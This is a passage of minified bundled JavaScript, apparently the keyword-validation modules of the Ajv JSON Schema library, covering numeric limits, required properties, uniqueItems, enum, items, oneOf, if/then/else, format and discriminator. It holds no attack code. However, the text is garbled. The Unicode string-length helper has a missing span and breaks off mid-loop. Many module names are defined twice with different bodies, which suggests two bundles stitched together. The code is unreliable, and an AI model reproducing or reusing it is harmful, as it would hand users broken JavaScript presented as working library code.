${(0,r.callValidateCode)(l,d,v)}`),E(d),p||g.assign(T,!0)},$=>{g.if((0,n._)`!(${$} instanceof ${b.ValidationError})`,()=>g.throw($)),x($),p||g.assign(T,!1)}),l.ok(T)}function S(){l.result((0,r.callValidateCode)(l,d,v),()=>E(d),()=>x(d))}function x(T){let $=(0,n._)`${T}.errors`;g.assign(a.default.vErrors,(0,n._)`${a.default.vErrors} === null ? ${$} : ${a.default.vErrors}.concat(${$})`),g.assign(a.default.errors,(0,n._)`${a.default.vErrors}.length`)}function E(T){var $;if(!b.opts.unevaluated)return;let N=($=f?.validate)===null||$===void 0?void 0:$.evaluated;if(b.props!==!0)if(N&&!N.dynamicProps)N.props!==void 0&&(b.props=i.mergeEvaluated.props(g,N.props,b.props));else{let j=g.var("props",(0,n._)`${T}.evaluated.props`);b.props=i.mergeEvaluated.props(g,j,b.props,n.Name)}if(b.items!==!0)if(N&&!N.dynamicItems)N.items!==void 0&&(b.items=i.mergeEvaluated.items(g,N.items,b.items));else{let j=g.var("items",(0,n._)`${T}.evaluated.items`);b.items=i.mergeEvaluated.items(g,j,b.items,n.Name)}}}t.callRef=u,t.default=o}),bL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=yL(),r=_L(),n=["$schema","$id","$defs","$vocabulary",{keyword:"$comment"},"definitions",e.default,r.default];t.default=n}),xL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=e.operators,n={maximum:{okStr:"<=",ok:r.LTE,fail:r.GT},minimum:{okStr:">=",ok:r.GTE,fail:r.LT},exclusiveMaximum:{okStr:"<",ok:r.LT,fail:r.GTE},exclusiveMinimum:{okStr:">",ok:r.GT,fail:r.LTE}},a={message:({keyword:i,schemaCode:o})=>(0,e.str)`must be ${n[i].okStr} ${o}`,params:({keyword:i,schemaCode:o})=>(0,e._)`{comparison: ${n[i].okStr}, limit: ${o}}`},s={keyword:Object.keys(n),type:"number",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u}=i;i.fail$data((0,e._)`${c} ${n[o].fail} ${u} || isNaN(${c})`)}};t.default=s}),wL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message:({schemaCode:a})=>(0,e.str)`must be multiple of ${a}`,params:({schemaCode:a})=>(0,e._)`{multipleOf: ${a}}`},n={keyword:"multipleOf",type:"number",schemaType:"number",$data:!0,error:r,code(a){let{gen:s,data:i,schemaCode:o,it:c}=a,u=c.opts.multipleOfPrecision,l=s.let("res"),d=u?(0,e._)`Math.abs(Math.round(${l}) - ${l}) > 1e-${u}`:(0,e._)`${l} !== parseInt(${l})`;a.fail$data((0,e._)`(${o} === 0 || (${l} = ${i}/${o}, ${d}))`)}};t.default=n}),SL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});function e(r){let n=r.length,a=0,s=0,i;for(;s=55296&&i<=56319&&s{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=SL(),a={message({keyword:i,schemaCode:o}){let c=i==="maxLength"?"more":"fewer";return(0,e.str)`must NOT have ${c} than ${o} characters`},params:({schemaCode:i})=>(0,e._)`{limit: ${i}}`},s={keyword:["maxLength","minLength"],type:"string",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u,it:l}=i,d=o==="maxLength"?e.operators.GT:e.operators.LT,f=l.opts.unicode===!1?(0,e._)`${c}.length`:(0,e._)`${(0,r.useFunc)(i.gen,n.default)}(${c})`;i.fail$data((0,e._)`${f} ${d} ${u}`)}};t.default=s}),TL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ur(),r=Fe(),n={message:({schemaCode:s})=>(0,r.str)`must match pattern "${s}"`,params:({schemaCode:s})=>(0,r._)`{pattern: ${s}}`},a={keyword:"pattern",type:"string",schemaType:"string",$data:!0,error:n,code(s){let{data:i,$data:o,schema:c,schemaCode:u,it:l}=s,d=l.opts.unicodeRegExp?"u":"",f=o?(0,r._)`(new RegExp(${u}, ${d}))`:(0,e.usePattern)(s,c);s.fail$data((0,r._)`!${f}.test(${i})`)}};t.default=a}),kL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message({keyword:a,schemaCode:s}){let i=a==="maxProperties"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} properties`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxProperties","minProperties"],type:"object",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxProperties"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`Object.keys(${i}).length ${c} ${o}`)}};t.default=n}),$L=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ur(),r=Fe(),n=Je(),a={message:({params:{missingProperty:i}})=>(0,r.str)`must have required property '${i}'`,params:({params:{missingProperty:i}})=>(0,r._)`{missingProperty: ${i}}`},s={keyword:"required",type:"object",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,schema:c,schemaCode:u,data:l,$data:d,it:f}=i,{opts:m}=f;if(!d&&c.length===0)return;let g=c.length>=m.loopRequired;if(f.allErrors?b():p(),m.strictRequired){let v=i.parentSchema.properties,{definedProperties:_}=i.it;for(let S of c)if(v?.[S]===void 0&&!_.has(S)){let x=f.schemaEnv.baseId+f.errSchemaPath,E=`required property "${S}" is not defined at "${x}" (strictRequired)`;(0,n.checkStrictMode)(f,E,f.opts.strictRequired)}}function b(){if(g||d)i.block$data(r.nil,h);else for(let v of c)(0,e.checkReportMissingProp)(i,v)}function p(){let v=o.let("missing");if(g||d){let _=o.let("valid",!0);i.block$data(_,()=>y(v,_)),i.ok(_)}else o.if((0,e.checkMissingProp)(i,c,v)),(0,e.reportMissingProp)(i,v),o.else()}function h(){o.forOf("prop",u,v=>{i.setParams({missingProperty:v}),o.if((0,e.noPropertyInData)(o,l,v,m.ownProperties),()=>i.error())})}function y(v,_){i.setParams({missingProperty:v}),o.forOf(v,u,()=>{o.assign(_,(0,e.propertyInData)(o,l,v,m.ownProperties)),o.if((0,r.not)(_),()=>{i.error(),o.break()})},r.nil)}}};t.default=s}),RL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message({keyword:a,schemaCode:s}){let i=a==="maxItems"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} items`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxItems","minItems"],type:"array",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxItems"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`${i}.length ${c} ${o}`)}};t.default=n}),km=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=al();e.code='require("ajv/dist/runtime/equal").default',t.default=e}),PL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ku(),r=Fe(),n=Je(),a=km(),s={message:({params:{i:o,j:c}})=>(0,r.str)`must NOT have duplicate items (items ## ${c} and ${o} are identical)`,params:({params:{i:o,j:c}})=>(0,r._)`{i: ${o}, j: ${c}}`},i={keyword:"uniqueItems",type:"array",schemaType:"boolean",$data:!0,error:s,code(o){let{gen:c,data:u,$data:l,schema:d,parentSchema:f,schemaCode:m,it:g}=o;if(!l&&!d)return;let b=c.let("valid"),p=f.items?(0,e.getSchemaTypes)(f.items):[];o.block$data(b,h,(0,r._)`${m} === false`),o.ok(b);function h(){let S=c.let("i",(0,r._)`${u}.length`),x=c.let("j");o.setParams({i:S,j:x}),c.assign(b,!0),c.if((0,r._)`${S} > 1`,()=>(y()?v:_)(S,x))}function y(){return p.length>0&&!p.some(S=>S==="object"||S==="array")}function v(S,x){let E=c.name("item"),T=(0,e.checkDataTypes)(p,E,g.opts.strictNumbers,e.DataType.Wrong),$=c.const("indices",(0,r._)`{}`);c.for((0,r._)`;${S}--;`,()=>{c.let(E,(0,r._)`${u}[${S}]`),c.if(T,(0,r._)`continue`),p.length>1&&c.if((0,r._)`typeof ${E} == "string"`,(0,r._)`${E} += "_"`),c.if((0,r._)`typeof ${$}[${E}] == "number"`,()=>{c.assign(x,(0,r._)`${$}[${E}]`),o.error(),c.assign(b,!1).break()}).code((0,r._)`${$}[${E}] = ${S}`)})}function _(S,x){let E=(0,n.useFunc)(c,a.default),T=c.name("outer");c.label(T).for((0,r._)`;${S}--;`,()=>c.for((0,r._)`${x} = ${S}; ${x}--;`,()=>c.if((0,r._)`${E}(${u}[${S}], ${u}[${x}])`,()=>{o.error(),c.assign(b,!1).break(T)})))}}};t.default=i}),OL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=km(),a={message:"must be equal to constant",params:({schemaCode:i})=>(0,e._)`{allowedValue: ${i}}`},s={keyword:"const",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schemaCode:l,schema:d}=i;u||d&&typeof d=="object"?i.fail$data((0,e._)`!${(0,r.useFunc)(o,n.default)}(${c}, ${l})`):i.fail((0,e._)`${d} !== ${c}`)}};t.default=s}),CL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=km(),a={message:"must be equal to one of the allowed values",params:({schemaCode:i})=>(0,e._)`{allowedValues: ${i}}`},s={keyword:"enum",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schema:l,schemaCode:d,it:f}=i;if(!u&&l.length===0)throw new Error("enum must have non-empty array");let m=l.length>=f.opts.loopEnum,g,b=()=>g??(g=(0,r.useFunc)(o,n.default)),p;if(m||u)p=o.let("valid"),i.block$data(p,h);else{if(!Array.isArray(l))throw new Error("ajv implementation error");let v=o.const("vSchema",d);p=(0,e.or)(...l.map((_,S)=>y(v,S)))}i.pass(p);function h(){o.assign(p,!1),o.forOf("v",d,v=>o.if((0,e._)`${b()}(${c}, ${v})`,()=>o.assign(p,!0).break()))}function y(v,_){let S=l[_];return typeof S=="object"&&S!==null?(0,e._)`${b()}(${c}, ${v}[${_}])`:(0,e._)`${c} === ${S}`}}};t.default=s}),IL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=xL(),r=wL(),n=EL(),a=TL(),s=kL(),i=$L(),o=RL(),c=PL(),u=OL(),l=CL(),d=[e.default,r.default,n.default,a.default,s.default,i.default,o.default,c.default,{keyword:"type",schemaType:["string","array"]},{keyword:"nullable",schemaType:"boolean"},u.default,l.default];t.default=d}),eT=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateAdditionalItems=void 0;var e=Fe(),r=Je(),n={message:({params:{len:i}})=>(0,e.str)`must NOT have more than ${i} items`,params:({params:{len:i}})=>(0,e._)`{limit: ${i}}`},a={keyword:"additionalItems",type:"array",schemaType:["boolean","object"],before:"uniqueItems",error:n,code(i){let{parentSchema:o,it:c}=i,{items:u}=o;if(!Array.isArray(u)){(0,r.checkStrictMode)(c,'"additionalItems" is ignored when "items" is not an array of schemas');return}s(i,u)}};function s(i,o){let{gen:c,schema:u,data:l,keyword:d,it:f}=i;f.items=!0;let m=c.const("len",(0,e._)`${l}.length`);if(u===!1)i.setParams({len:o.length}),i.pass((0,e._)`${m} <= ${o.length}`);else if(typeof u=="object"&&!(0,r.alwaysValidSchema)(f,u)){let b=c.var("valid",(0,e._)`${m} <= ${o.length}`);c.if((0,e.not)(b),()=>g(b)),i.ok(b)}function g(b){c.forRange("i",o.length,m,p=>{i.subschema({keyword:d,dataProp:p,dataPropType:r.Type.Num},b),f.allErrors||c.if((0,e.not)(b),()=>c.break())})}}t.validateAdditionalItems=s,t.default=a}),tT=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateTuple=void 0;var e=Fe(),r=Je(),n=Ur(),a={keyword:"items",type:"array",schemaType:["object","array","boolean"],before:"uniqueItems",code(i){let{schema:o,it:c}=i;if(Array.isArray(o))return s(i,"additionalItems",o);c.items=!0,!(0,r.alwaysValidSchema)(c,o)&&i.ok((0,n.validateArray)(i))}};function s(i,o,c=i.schema){let{gen:u,parentSchema:l,data:d,keyword:f,it:m}=i;p(l),m.opts.unevaluated&&c.length&&m.items!==!0&&(m.items=r.mergeEvaluated.items(u,c.length,m.items));let g=u.name("valid"),b=u.const("len",(0,e._)`${d}.length`);c.forEach((h,y)=>{(0,r.alwaysValidSchema)(m,h)||(u.if((0,e._)`${b} > ${y}`,()=>i.subschema({keyword:f,schemaProp:y,dataProp:y},g)),i.ok(g))});function p(h){let{opts:y,errSchemaPath:v}=m,_=c.length,S=_===h.minItems&&(_===h.maxItems||h[o]===!1);if(y.strictTuples&&!S){let x=`"${f}" is ${_}-tuple, but minItems or maxItems/${o} are not specified or different at path "${v}"`;(0,r.checkStrictMode)(m,x,y.strictTuples)}}}t.validateTuple=s,t.default=a}),AL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=tT(),r={keyword:"prefixItems",type:"array",schemaType:["array"],before:"uniqueItems",code:n=>(0,e.validateTuple)(n,"items")};t.default=r}),NL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=Ur(),a=eT(),s={message:({params:{len:o}})=>(0,e.str)`must NOT have more than ${o} items`,params:({params:{len:o}})=>(0,e._)`{limit: ${o}}`},i={keyword:"items",type:"array",schemaType:["object","boolean"],before:"uniqueItems",error:s,code(o){let{schema:c,parentSchema:u,it:l}=o,{prefixItems:d}=u;l.items=!0,!(0,r.alwaysValidSchema)(l,c)&&(d?(0,a.validateAdditionalItems)(o,d):o.ok((0,n.validateArray)(o)))}};t.default=i}),jL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:({params:{min:s,max:i}})=>i===void 0?(0,e.str)`must contain at least ${s} valid item(s)`:(0,e.str)`must contain at least ${s} and no more than ${i} valid item(s)`,params:({params:{min:s,max:i}})=>i===void 0?(0,e._)`{minContains: ${s}}`:(0,e._)`{minContains: ${s}, maxContains: ${i}}`},a={keyword:"contains",type:"array",schemaType:["object","boolean"],before:"uniqueItems",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,data:u,it:l}=s,d,f,{minContains:m,maxContains:g}=c;l.opts.next?(d=m===void 0?1:m,f=g):d=1;let b=i.const("len",(0,e._)`${u}.length`);if(s.setParams({min:d,max:f}),f===void 0&&d===0){(0,r.checkStrictMode)(l,'"minContains" == 0 without "maxContains": "contains" keyword ignored');return}if(f!==void 0&&d>f){(0,r.checkStrictMode)(l,'"minContains" > "maxContains" is always invalid'),s.fail();return}if((0,r.alwaysValidSchema)(l,o)){let _=(0,e._)`${b} >= ${d}`;f!==void 0&&(_=(0,e._)`${_} && ${b} <= ${f}`),s.pass(_);return}l.items=!0;let p=i.name("valid");f===void 0&&d===1?y(p,()=>i.if(p,()=>i.break())):d===0?(i.let(p,!0),f!==void 0&&i.if((0,e._)`${u}.length > 0`,h)):(i.let(p,!1),h()),s.result(p,()=>s.reset());function h(){let _=i.name("_valid"),S=i.let("count",0);y(_,()=>i.if(_,()=>v(S)))}function y(_,S){i.forRange("i",0,b,x=>{s.subschema({keyword:"contains",dataProp:x,dataPropType:r.Type.Num,compositeRule:!0},_),S()})}function v(_){i.code((0,e._)`${_}++`),f===void 0?i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0).break()):(i.if((0,e._)`${_} > ${f}`,()=>i.assign(p,!1).break()),d===1?i.assign(p,!0):i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0)))}}};t.default=a}),ML=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateSchemaDeps=t.validatePropertyDeps=t.error=void 0;var e=Fe(),r=Je(),n=Ur();t.error={message:({params:{property:c,depsCount:u,deps:l}})=>{let d=u===1?"property":"properties";return(0,e.str)`must have ${d} ${l} when property ${c} is present`},params:({params:{property:c,depsCount:u,deps:l,missingProperty:d}})=>(0,e._)`{property: ${c}, missingProperty: ${d}, depsCount: ${u}, - deps: ${l}}`};var a={keyword:"dependencies",type:"object",schemaType:"object",error:t.error,code(c){let[u,l]=s(c);i(c,u),o(c,l)}};function s({schema:c}){let u={},l={};for(let d in c){if(d==="__proto__")continue;let f=Array.isArray(c[d])?u:l;f[d]=c[d]}return[u,l]}function i(c,u=c.schema){let{gen:l,data:d,it:f}=c;if(Object.keys(u).length===0)return;let m=l.let("missing");for(let g in u){let b=u[g];if(b.length===0)continue;let p=(0,n.propertyInData)(l,d,g,f.opts.ownProperties);c.setParams({property:g,depsCount:b.length,deps:b.join(", ")}),f.allErrors?l.if(p,()=>{for(let h of b)(0,n.checkReportMissingProp)(c,h)}):(l.if((0,e._)`${p} && (${(0,n.checkMissingProp)(c,b,m)})`),(0,n.reportMissingProp)(c,m),l.else())}}t.validatePropertyDeps=i;function o(c,u=c.schema){let{gen:l,data:d,keyword:f,it:m}=c,g=l.name("valid");for(let b in u)(0,r.alwaysValidSchema)(m,u[b])||(l.if((0,n.propertyInData)(l,d,b,m.opts.ownProperties),()=>{let p=c.subschema({keyword:f,schemaProp:b},g);c.mergeValidEvaluated(p,g)},()=>l.var(g,!0)),c.ok(g))}t.validateSchemaDeps=o,t.default=a}),hL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:"property name must be valid",params:({params:s})=>(0,e._)`{propertyName: ${s.propertyName}}`},a={keyword:"propertyNames",type:"object",schemaType:["object","boolean"],error:n,code(s){let{gen:i,schema:o,data:c,it:u}=s;if((0,r.alwaysValidSchema)(u,o))return;let l=i.name("valid");i.forIn("key",c,d=>{s.setParams({propertyName:d}),s.subschema({keyword:"propertyNames",data:d,dataTypes:["string"],propertyName:d,compositeRule:!0},l),i.if((0,e.not)(l),()=>{s.error(!0),u.allErrors||i.break()})}),s.ok(l)}};t.default=a}),W1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=qr(),r=Fe(),n=Ha(),a=Je(),s={message:"must NOT have additional properties",params:({params:o})=>(0,r._)`{additionalProperty: ${o.additionalProperty}}`},i={keyword:"additionalProperties",type:["object"],schemaType:["boolean","object"],allowUndefined:!0,trackErrors:!0,error:s,code(o){let{gen:c,schema:u,parentSchema:l,data:d,errsCount:f,it:m}=o;if(!f)throw new Error("ajv implementation error");let{allErrors:g,opts:b}=m;if(m.props=!0,b.removeAdditional!=="all"&&(0,a.alwaysValidSchema)(m,u))return;let p=(0,e.allSchemaProperties)(l.properties),h=(0,e.allSchemaProperties)(l.patternProperties);y(),o.ok((0,r._)`${f} === ${n.default.errors}`);function y(){c.forIn("key",d,w=>{!p.length&&!h.length?S(w):c.if(v(w),()=>S(w))})}function v(w){let T;if(p.length>8){let R=(0,a.schemaRefOrVal)(m,l.properties,"properties");T=(0,e.isOwnProperty)(c,R,w)}else p.length?T=(0,r.or)(...p.map(R=>(0,r._)`${w} === ${R}`)):T=r.nil;return h.length&&(T=(0,r.or)(T,...h.map(R=>(0,r._)`${(0,e.usePattern)(o,R)}.test(${w})`))),(0,r.not)(T)}function _(w){c.code((0,r._)`delete ${d}[${w}]`)}function S(w){if(b.removeAdditional==="all"||b.removeAdditional&&u===!1){_(w);return}if(u===!1){o.setParams({additionalProperty:w}),o.error(),g||c.break();return}if(typeof u=="object"&&!(0,a.alwaysValidSchema)(m,u)){let T=c.name("valid");b.removeAdditional==="failing"?(x(w,T,!1),c.if((0,r.not)(T),()=>{o.reset(),_(w)})):(x(w,T),g||c.if((0,r.not)(T),()=>c.break()))}}function x(w,T,R){let A={keyword:"additionalProperties",dataProp:w,dataPropType:a.Type.Str};R===!1&&Object.assign(A,{compositeRule:!0,createErrors:!1,allErrors:!1}),o.subschema(A,T)}}};t.default=i}),vL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=ol(),r=qr(),n=Je(),a=W1(),s={keyword:"properties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,parentSchema:u,data:l,it:d}=i;d.opts.removeAdditional==="all"&&u.additionalProperties===void 0&&a.default.code(new e.KeywordCxt(d,a.default,"additionalProperties"));let f=(0,r.allSchemaProperties)(c);for(let h of f)d.definedProperties.add(h);d.opts.unevaluated&&f.length&&d.props!==!0&&(d.props=n.mergeEvaluated.props(o,(0,n.toHash)(f),d.props));let m=f.filter(h=>!(0,n.alwaysValidSchema)(d,c[h]));if(m.length===0)return;let g=o.name("valid");for(let h of m)b(h)?p(h):(o.if((0,r.propertyInData)(o,l,h,d.opts.ownProperties)),p(h),d.allErrors||o.else().var(g,!0),o.endIf()),i.it.definedProperties.add(h),i.ok(g);function b(h){return d.opts.useDefaults&&!d.compositeRule&&c[h].default!==void 0}function p(h){i.subschema({keyword:"properties",schemaProp:h,dataProp:h},g)}}};t.default=s}),gL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=qr(),r=Fe(),n=Je(),a=Je(),s={keyword:"patternProperties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,data:u,parentSchema:l,it:d}=i,{opts:f}=d,m=(0,e.allSchemaProperties)(c),g=m.filter(S=>(0,n.alwaysValidSchema)(d,c[S]));if(m.length===0||g.length===m.length&&(!d.opts.unevaluated||d.props===!0))return;let b=f.strictSchema&&!f.allowMatchingProperties&&l.properties,p=o.name("valid");d.props!==!0&&!(d.props instanceof r.Name)&&(d.props=(0,a.evaluatedPropsToName)(o,d.props));let{props:h}=d;y();function y(){for(let S of m)b&&v(S),d.allErrors?_(S):(o.var(p,!0),_(S),o.if(p))}function v(S){for(let x in b)new RegExp(S).test(x)&&(0,n.checkStrictMode)(d,`property ${x} matches pattern ${S} (use allowMatchingProperties)`)}function _(S){o.forIn("key",u,x=>{o.if((0,r._)`${(0,e.usePattern)(i,S)}.test(${x})`,()=>{let w=g.includes(S);w||i.subschema({keyword:"patternProperties",schemaProp:S,dataProp:x,dataPropType:a.Type.Str},p),d.opts.unevaluated&&h!==!0?o.assign((0,r._)`${h}[${x}]`,!0):!w&&!d.allErrors&&o.if((0,r.not)(p),()=>o.break())})})}}};t.default=s}),yL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:"not",schemaType:["object","boolean"],trackErrors:!0,code(n){let{gen:a,schema:s,it:i}=n;if((0,e.alwaysValidSchema)(i,s)){n.fail();return}let o=a.name("valid");n.subschema({keyword:"not",compositeRule:!0,createErrors:!1,allErrors:!1},o),n.failResult(o,()=>n.reset(),()=>n.error())},error:{message:"must NOT be valid"}};t.default=r}),_L=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=qr(),r={keyword:"anyOf",schemaType:"array",trackErrors:!0,code:e.validateUnion,error:{message:"must match a schema in anyOf"}};t.default=r}),bL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:"must match exactly one schema in oneOf",params:({params:s})=>(0,e._)`{passingSchemas: ${s.passing}}`},a={keyword:"oneOf",schemaType:"array",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,it:u}=s;if(!Array.isArray(o))throw new Error("ajv implementation error");if(u.opts.discriminator&&c.discriminator)return;let l=o,d=i.let("valid",!1),f=i.let("passing",null),m=i.name("_valid");s.setParams({passing:f}),i.block(g),s.result(d,()=>s.reset(),()=>s.error(!0));function g(){l.forEach((b,p)=>{let h;(0,r.alwaysValidSchema)(u,b)?i.var(m,!0):h=s.subschema({keyword:"oneOf",schemaProp:p,compositeRule:!0},m),p>0&&i.if((0,e._)`${m} && ${d}`).assign(d,!1).assign(f,(0,e._)`[${f}, ${p}]`).else(),i.if(m,()=>{i.assign(d,!0),i.assign(f,p),h&&s.mergeEvaluated(h,e.Name)})})}}};t.default=a}),xL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:"allOf",schemaType:"array",code(n){let{gen:a,schema:s,it:i}=n;if(!Array.isArray(s))throw new Error("ajv implementation error");let o=a.name("valid");s.forEach((c,u)=>{if((0,e.alwaysValidSchema)(i,c))return;let l=n.subschema({keyword:"allOf",schemaProp:u},o);n.ok(o),n.mergeEvaluated(l)})}};t.default=r}),wL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:({params:i})=>(0,e.str)`must match "${i.ifClause}" schema`,params:({params:i})=>(0,e._)`{failingKeyword: ${i.ifClause}}`},a={keyword:"if",schemaType:["object","boolean"],trackErrors:!0,error:n,code(i){let{gen:o,parentSchema:c,it:u}=i;c.then===void 0&&c.else===void 0&&(0,r.checkStrictMode)(u,'"if" without "then" and "else" is ignored');let l=s(u,"then"),d=s(u,"else");if(!l&&!d)return;let f=o.let("valid",!0),m=o.name("_valid");if(g(),i.reset(),l&&d){let p=o.let("ifClause");i.setParams({ifClause:p}),o.if(m,b("then",p),b("else",p))}else l?o.if(m,b("then")):o.if((0,e.not)(m),b("else"));i.pass(f,()=>i.error(!0));function g(){let p=i.subschema({keyword:"if",compositeRule:!0,createErrors:!1,allErrors:!1},m);i.mergeEvaluated(p)}function b(p,h){return()=>{let y=i.subschema({keyword:p},m);o.assign(f,m),i.mergeValidEvaluated(y,f),h?o.assign(h,(0,e._)`${p}`):i.setParams({ifClause:p})}}}};function s(i,o){let c=i.schema[o];return c!==void 0&&!(0,r.alwaysValidSchema)(i,c)}t.default=a}),SL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:["then","else"],schemaType:["object","boolean"],code({keyword:n,parentSchema:a,it:s}){a.if===void 0&&(0,e.checkStrictMode)(s,`"${n}" without "if" is ignored`)}};t.default=r}),EL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=B1(),r=dL(),n=V1(),a=pL(),s=fL(),i=mL(),o=hL(),c=W1(),u=vL(),l=gL(),d=yL(),f=_L(),m=bL(),g=xL(),b=wL(),p=SL();function h(y=!1){let v=[d.default,f.default,m.default,g.default,b.default,p.default,o.default,c.default,i.default,u.default,l.default];return y?v.push(r.default,a.default):v.push(e.default,n.default),v.push(s.default),v}t.default=h}),TL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message:({schemaCode:a})=>(0,e.str)`must match format "${a}"`,params:({schemaCode:a})=>(0,e._)`{format: ${a}}`},n={keyword:"format",type:["number","string"],schemaType:"string",$data:!0,error:r,code(a,s){let{gen:i,data:o,$data:c,schema:u,schemaCode:l,it:d}=a,{opts:f,errSchemaPath:m,schemaEnv:g,self:b}=d;if(!f.validateFormats)return;c?p():h();function p(){let y=i.scopeValue("formats",{ref:b.formats,code:f.code.formats}),v=i.const("fDef",(0,e._)`${y}[${l}]`),_=i.let("fType"),S=i.let("format");i.if((0,e._)`typeof ${v} == "object" && !(${v} instanceof RegExp)`,()=>i.assign(_,(0,e._)`${v}.type || "string"`).assign(S,(0,e._)`${v}.validate`),()=>i.assign(_,(0,e._)`"string"`).assign(S,v)),a.fail$data((0,e.or)(x(),w()));function x(){return f.strictSchema===!1?e.nil:(0,e._)`${l} && !${S}`}function w(){let T=g.$async?(0,e._)`(${v}.async ? await ${S}(${o}) : ${S}(${o}))`:(0,e._)`${S}(${o})`,R=(0,e._)`(typeof ${S} == "function" ? ${T} : ${S}.test(${o}))`;return(0,e._)`${S} && ${S} !== true && ${_} === ${s} && !${R}`}}function h(){let y=b.formats[u];if(!y){x();return}if(y===!0)return;let[v,_,S]=w(y);v===s&&a.pass(T());function x(){if(f.strictSchema===!1){b.logger.warn(R());return}throw new Error(R());function R(){return`unknown format "${u}" ignored in schema at path "${m}"`}}function w(R){let A=R instanceof RegExp?(0,e.regexpCode)(R):f.code.formats?(0,e._)`${f.code.formats}${(0,e.getProperty)(u)}`:void 0,j=i.scopeValue("formats",{key:u,ref:R,code:A});return typeof R=="object"&&!(R instanceof RegExp)?[R.type||"string",R.validate,(0,e._)`${j}.validate`]:["string",R,j]}function T(){if(typeof y=="object"&&!(y instanceof RegExp)&&y.async){if(!g.$async)throw new Error("async format in sync schema");return(0,e._)`await ${S}(${o})`}return typeof _=="function"?(0,e._)`${S}(${o})`:(0,e._)`${S}.test(${o})`}}}};t.default=n}),kL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=TL(),r=[e.default];t.default=r}),RL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contentVocabulary=t.metadataVocabulary=void 0,t.metadataVocabulary=["title","description","default","deprecated","readOnly","writeOnly","examples"],t.contentVocabulary=["contentMediaType","contentEncoding","contentSchema"]}),$L=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Yq(),r=lL(),n=EL(),a=kL(),s=RL(),i=[e.default,r.default,(0,n.default)(),a.default,s.metadataVocabulary,s.contentVocabulary];t.default=i}),PL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DiscrError=void 0;var e;(function(r){r.Tag="tag",r.Mapping="mapping"})(e||(t.DiscrError=e={}))}),OL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=PL(),n=Sm(),a=cl(),s=Je(),i={message:({params:{discrError:c,tagName:u}})=>c===r.DiscrError.Tag?`tag "${u}" must be string`:`value of tag "${u}" must be in oneOf`,params:({params:{discrError:c,tag:u,tagName:l}})=>(0,e._)`{error: ${c}, tag: ${l}, tagValue: ${u}}`},o={keyword:"discriminator",type:"object",schemaType:"object",error:i,code(c){let{gen:u,data:l,schema:d,parentSchema:f,it:m}=c,{oneOf:g}=f;if(!m.opts.discriminator)throw new Error("discriminator: requires discriminator option");let b=d.propertyName;if(typeof b!="string")throw new Error("discriminator: requires propertyName");if(d.mapping)throw new Error("discriminator: mapping is not supported");if(!g)throw new Error("discriminator: requires oneOf keyword");let 